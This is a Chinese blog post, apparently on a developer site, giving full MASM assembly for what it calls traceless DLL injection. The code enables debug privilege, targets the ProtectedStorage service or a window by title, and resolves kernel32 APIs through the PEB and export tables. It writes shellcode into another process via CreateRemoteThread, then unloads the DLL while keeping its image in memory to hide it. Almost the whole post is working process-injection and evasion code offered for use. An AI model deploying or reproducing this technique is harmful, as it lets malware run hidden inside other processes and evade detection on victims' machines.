注射的一个完整代码

本文介绍了一种通过DLL无痕注入技术实现隐蔽进程操作的方法。该技术利用自定义的汇编代码,在目标进程中加载并执行DLL,同时避免留下明显的痕迹。具体步骤包括:通过内存扫描获取Kernel32.dll基地址,利用导出表获取所需API地址,加载DLL并复制其镜像到临时内存区域,执行DLL功能后再将镜像复制回原位置。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

说明:下面代码是基本的注射,执行的代码在test_dll.dll里
test_dll.dll在进程加载后重定位的PE镜像复制一个临时空间,然后FreeLibrary,再从临时空间把镜像复制到原空间,这样实现无DLL
.386
.MODEL flat,stdcall
OPTION CASEMAP:NONE

Include windows.inc
Include user32.inc
Include kernel32.inc
include advapi32.inc
include masm32.inc

IncludeLib user32.lib
IncludeLib kernel32.lib
includeLib advapi32.lib
includelib masm32.lib

include macros.asm

.code

;提高权限
DebugPrivilege proc bEnable:BOOL
    local hToken : HANDLE
    local tp : TOKEN_PRIVILEGES
    push ebx
    invoke GetCurrentProcess
    mov ebxeax
    invoke OpenProcessToken, ebx, TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES, ADDR hToken
    .if eax!=NULL
        mov tp.PrivilegeCount, 1
        .if bEnable
            mov tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
        .else
            mov tp.Privileges[0].Attributes,0
        .endif
        invoke LookupPrivilegeValue,NULL,CTXT("SeDebugPrivilege"),addr tp.Privileges[0].Luid
        .if eax!=NULL            
            invoke AdjustTokenPrivileges,hToken,FALSE,addr tp,sizeof TOKEN_PRIVILEGES,NULL,NULL
        .endif
        invoke CloseHandle,hToken
    .endif
    pop ebx
    Ret
DebugPrivilege EndP

;获取目标服务进程pid
GetPid proc uses edx ebx
    local hSCManager,schService:SC_HANDLE
    local buffer[255]:BYTE
    local pcbBytesNeeded:DWORD

    xor ebx,ebx
    mov hSCManager,NULL
    mov schService,NULL
    invoke OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
    .if eax!=NULL
        mov hSCManager,eax
        invoke OpenService,hSCManager,CTXT("ProtectedStorage"),SERVICE_ALL_ACCESS
        .if eax!=NULL
            mov schService,eax
            invoke QueryServiceStatusEx,schService,0 ,/
                addr buffer,255,addr pcbBytesNeeded
            invoke CloseServiceHandle,schService
            lea edx,buffer
            ;assume edx:ptr SERVICE_STATUS_PROCESS
            mov ebx,[edx+28]
            ;assume edx:nothing
        .endif
        invoke CloseServiceHandle,hSCManager
    .endif
    mov eax,ebx
    Ret
GetPid EndP

_ProtoGetProcAddress    typedef    proto    :dword,:dword
_ProtoLoadLibrary    typedef    proto    :dword
_ProtoVirtualAlloc    typedef proto    :dword,:dword,:dword,:dword
_ProtoFreeLibrary    typedef proto    :dword
_ProtoVirtualFree    typedef proto    :dword,:dword,:dword
_ProtoRtlCopyMemory    typedef proto     :dword,:dword,:dword

_ApiGetProcAddress    typedef    ptr    _ProtoGetProcAddress
_ApiLoadLibrary        typedef ptr _ProtoLoadLibrary
_ApiVirtualAlloc    typedef ptr _ProtoVirtualAlloc
_ApiFreeLibrary        typedef ptr _ProtoFreeLibrary
_ApiVirtualFree        typedef ptr _ProtoVirtualFree

REMOTE_CODE_START equ this byte

hDllKernel32    dd    ?
hGhostDll    dd    ?
_GhostDllStart dd ?
hTmpDll    dd    ?
nSizeOfImage    dd ?

_GetProcAddress    _ApiGetProcAddress    ?
_LoadLibrary    _ApiLoadLibrary        ?
_VirtualAlloc     _ApiVirtualAlloc    ?
_FreeLibrary    _ApiFreeLibrary        ?
_VirtualFree    _ApiVirtualFree        ?

szLoadLibrary        db    'LoadLibraryA',0
szGetProcAddress     db    'GetProcAddress',0
szVirtualAlloc         db     'VirtualAlloc',0
szFreeLibrary         db     'FreeLibrary',0
szVirtualFree         db     'VirtualFree',0
szGhostDll            db     'test_dll.dll',0
szGhostDllStart        db    'GhostStart',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler    proc    _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

        pushad
        mov    esi,_lpExceptionRecord
        mov    edi,_lpContext
        assume    esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
        mov    eax,_lpSEH
        push    [eax + 0ch]
        pop    [edi].regEbp
        push    [eax + 8]
        pop    [edi].regEip
        push    eax
        pop    [edi].regEsp
        assume    esi:nothing,edi:nothing
        popad
        mov    eax,ExceptionContinueExecution
        ret

_SEHHandler    endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase    proc
    assume fs:flat
    push esi
    mov eax,fs:[30h]
    mov eax,[eax+0ch]
    mov esi,[eax+1ch]
    lodsd
    mov eax,[eax+8]
    pop esi
    Ret
_GetKernelBase EndP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi        proc    _hModule,_lpszApi
        local    @dwReturn,@dwStringLength

        pushad
        mov    @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
        call    @F
        @@:
        pop    ebx
        sub    ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
        assume    fs:nothing
        push    ebp
        lea    eax,[ebx + offset _Error]
        push    eax
        lea    eax,[ebx + offset _SEHHandler]
        push    eax
        push    fs:[0]
        mov    fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
        mov    edi,_lpszApi
        mov    ecx,-1
        xor    al,al
        cld
        repnz    scasb
        mov    ecx,edi
        sub    ecx,_lpszApi
        mov    @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
        mov    esi,_hModule
        add    esi,[esi + 3ch]
        assume    esi:ptr IMAGE_NT_HEADERS
        mov    esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
        add    esi,_hModule
        assume    esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
        mov    ebx,[esi].AddressOfNames
        add    ebx,_hModule
        xor    edx,edx
        .repeat
            push    esi
            mov    edi,[ebx]
            add    edi,_hModule
            mov    esi,_lpszApi
            mov    ecx,@dwStringLength
            repz    cmpsb
            .if    ZERO?
                pop    esi
                jmp    @F
            .endif
            pop    esi
            add    ebx,4
            inc    edx
        .until    edx >=    [esi].NumberOfNames
        jmp    _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
        sub    ebx,[esi].AddressOfNames
        sub    ebx,_hModule
        shr    ebx,1
        add    ebx,[esi].AddressOfNameOrdinals
        add    ebx,_hModule
        movzx    eax,word ptr [ebx]
        shl    eax,2
        add    eax,[esi].AddressOfFunctions
        add    eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
        mov    eax,[eax]
        add    eax,_hModule
        mov    @dwReturn,eax
_Error:
        pop    fs:[0]
        add    esp,0ch
        assume    esi:nothing
        popad
        mov    eax,@dwReturn
        ret

_GetApi        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

RemoteCodeEntry proc
    pushad
    ;重定位    
    call    @F
    @@:
    pop    ebx
    sub    ebx,offset @B
    
    ;获取Kernel32.dll基址
    call _GetKernelBase 
    mov    [ebx+hDllKernel32],eax
    
    ;获取GetProcAddress入口
    mov    [ebx+hDllKernel32],eax
    lea    eax,[ebx+szGetProcAddress]
    invoke    _GetApi,[ebx+hDllKernel32],eax
    mov [ebx+_GetProcAddress],eax
    
    ;获取LoadLibrary入口
    lea eax,[ebx+szLoadLibrary]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_LoadLibrary],eax
    
    ;获取VirtualAlloc入口
    lea eax,[ebx+szVirtualAlloc]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_VirtualAlloc],eax
    
    ;获取FreeLibrary入口
    lea eax,[ebx+szFreeLibrary]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_FreeLibrary],eax
    
    ;获取VirtualFree入口
    lea eax,[ebx+szVirtualFree]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_VirtualFree],eax
        
    ;加载ghost
    lea eax,[ebx+szGhostDll]
    invoke [ebx+_LoadLibrary],eax
    mov [ebx+hGhostDll],eax
    
    ;获取DLL PE镜像大小
    mov eax,[ebx+hGhostDll]
    add eax,[eax+3ch]
    assume eax:ptr IMAGE_NT_HEADERS
    mov eax,[eax].OptionalHeader.SizeOfImage
    mov [ebx+nSizeOfImage],eax
    
    ;获取GhostDllStart入口
    lea eax,[ebx+szGhostDllStart]
    invoke [ebx+_GetProcAddress],[ebx+hGhostDll],eax
    mov [ebx+_GhostDllStart],eax    
        
    ;重定位后的代码复制到临时空间
    invoke [ebx+_VirtualAlloc],0,[ebx+nSizeOfImage],/
              MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [ebx+hTmpDll],eax
    cld
    mov esi,[ebx+hGhostDll]
    mov edi,eax
    mov ecx,[ebx+nSizeOfImage]
    rep movsb
    invoke [ebx+_FreeLibrary],[ebx+hGhostDll]

    ;重新加载
    invoke [ebx+_VirtualAlloc],[ebx+hGhostDll],[ebx+nSizeOfImage],/
        MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [ebx+hGhostDll],eax
    cld
    mov esi,[ebx+hTmpDll]
    mov edi,eax
    mov ecx,[ebx+nSizeOfImage]
    rep movsb
    
    invoke [ebx+_VirtualFree],[ebx+hTmpDll],[ebx+nSizeOfImage],MEM_DECOMMIT
    
    call [ebx+_GhostDllStart]
    popad
    Ret
RemoteCodeEntry EndP

REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
;注射ghost.dll
InjectGhost proc
    local @pRemoteCode
    local @hProcess,hThread:HANDLE
    local path[260]:CHAR
    local @pid,cb,pfnThreadRtn,@dwTmp:DWORD    
    
    ;查找对象pid
    invoke FindWindow,NULL,CTXT("Simple Dialog")
    mov @dwTmp,eax
    invoke GetWindowThreadProcessId,@dwTmp,addr @pid
    ;创建远程线程
    ;invoke DebugPrivilege,TRUE
    invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,/
        FALSE,@pid
    .if eax!=NULL
        mov @hProcess,eax
        invoke VirtualAllocEx,@hProcess,NULL,REMOTE_CODE_LENGTH,/
            MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
        .if eax
            mov @pRemoteCode,eax
            invoke WriteProcessMemory,@hProcess,@pRemoteCode,/
                offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
            mov eax,@pRemoteCode
            add eax,offset RemoteCodeEntry-offset REMOTE_CODE_START
            invoke CreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
            invoke CloseHandle,eax
        .endif
        invoke CloseHandle,@hProcess
    .endif
        
    Ret
InjectGhost EndP

Start:
    invoke InjectGhost
    exit
End Start
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值